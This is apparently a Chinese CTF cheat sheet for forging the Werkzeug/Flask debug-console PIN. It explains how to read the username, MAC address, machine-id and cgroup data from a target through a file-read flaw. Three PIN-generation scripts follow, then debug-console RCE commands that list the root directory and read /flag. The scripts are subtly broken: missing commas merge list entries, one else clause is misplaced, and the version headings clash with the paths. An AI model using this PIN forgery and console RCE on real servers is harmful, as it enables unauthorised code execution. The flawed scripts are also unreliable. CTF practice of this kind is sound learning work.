PythonPin码

0x01 Pin码生成六要素

  1. username ——》 用户名root
  2. modname ——》 flask.app
  3. getattr(app,”__name__“,app.__class__.__name__) ——》 flask
  4. getattr(mod,”__file__“,None) ——》 flask目录下的一个app.py绝对路径
  5. str(uuid.getnode()) ——》 mac地址十进制
  6. get_machine_id() ——》 根据操作系统不同,有四种获取方法

1. username

去读etc/passwd里可以看到用户名,1000以上的一般为人为创建的

默认用户为root

2. modname

默认为flask.app

3. getattr(app,”__name__“,app.__class__.__name__)【AppName】

默认为flask

4. getattr(mod,”__file__“,None)【ModName】

如果用的不是ednv的话一般为默认路径,网上可以找得到

如果是的话去让网页报错,比如路由下加一个/debug啥的让网页报错出真实绝对路径

在这里可以看到版本为2.7,2.7版本下默认路径python2.7内是app.pyc

所以真实路径为 /opt/Python/flaskdebug/lib/python2.7/site-packages/flask/app.pyc

5. str(uuid.getnode())

直接读取mac地址,如果是Ubuntu系统去读取 /sys/class/net/eth0/address

如果是centos去读取 /sys/class/net/eth33/address

mac地址需要转化为10进制!

转换方法:例如 02:42:ac:0c:7b:85 将冒号去掉得到 0242ac0c7b85 可以用python`int(‘0242ac0c7b85’,16) ​也可以用工具直接16进制转10进制

6. get_machine_id()

一般题目都为docker环境,所以需要读取两个部分进行拼接

首先是 /etc/machine-id (在前)

如何是 /proc/self/cgroup (docker第一行最后一部分)

/etc/machine-id 读不到就去读 /proc/sys/kernel/random/boot_id

self 被过滤的时候,也就是 /proc/self/cgroup 没法用了,其中的self 可以用相关进程的pid去替换,其实 1 就行

如果cgroup 被过滤了,可以考虑mountinfo 或者`cpuset

0x02 2.7版本Pin码脚本 MD5

[GYCTF2020]FlaskApp

from itertools import chain
import hashlib
probably_public_bits = [
    'flaskweb',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    # getattr(mod, '__file__', None),
    '/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
    '2485377871320'  # str(uuid.getnode()),  /sys/class/net/eth0/address
    # get_machine_id(),/etc/machine-id
    '31c24e0fd34a09126aa47d88e21b8b28efcce8acd630632e4e4a9baddff38757',
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

0x03 3.6版本Pin码脚本 MD5

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

0x04 3.8版本Pin码脚本 sha1

Ctfshow 801

ctfshow web801 - 掘金 (juejin.cn)​【内含各版本Pin码生成原理】

import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485377596293',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '26657bfd-2d70-45fa-97b3-99462feda8933604b88d15b463a021ad397d6012c89f17fae43b0607b655125a00e8f6735d16'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

RCE后利用

>>> import os
>>> os.popen('ls /').read()
'app\nbin\ndev\netc\nflag\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun  
>>> os.popen('cat /flag').read()
'ctfshow{a9899ac6-2446-4b68-9826-a5b523c2ce28}\n'